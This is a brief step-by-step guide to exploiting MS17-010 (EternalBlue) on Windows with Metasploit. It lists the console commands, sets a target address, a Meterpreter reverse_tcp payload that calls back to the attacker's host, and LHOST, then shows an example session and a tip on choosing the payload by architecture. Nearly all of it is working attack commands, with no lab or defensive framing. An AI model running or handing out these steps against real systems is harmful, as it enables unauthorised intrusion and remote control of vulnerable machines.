Using Metasploit ms17_010_eternalblue Exploit
Guide: Exploiting MS17-010 with Metasploit
Step-by-Step: Using exploit/windows/smb/ms17_010_eternalblue
1. Open Metasploit Console
$ msfconsole
2. Search for the EternalBlue Module (optional)
$ search eternalblue
3. Use the Module
$ use exploit/windows/smb/ms17_010_eternalblue
4. Set the Target IP
$ set RHOSTS [Link]
5. Set Payload
$ set PAYLOAD windows/x64/meterpreter/reverse_tcp
6. Set Your IP (LHOST)
$ set LHOST your_ip_here
7. Check Settings (optional)
$ show options
Using Metasploit ms17_010_eternalblue Exploit
8. Exploit!
$ exploit
Quick Example Session:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS [Link]
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST [Link]
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Important Tip:
- If 32-bit Windows, use windows/meterpreter/reverse_tcp
- If 64-bit Windows, use windows/x64/meterpreter/reverse_tcp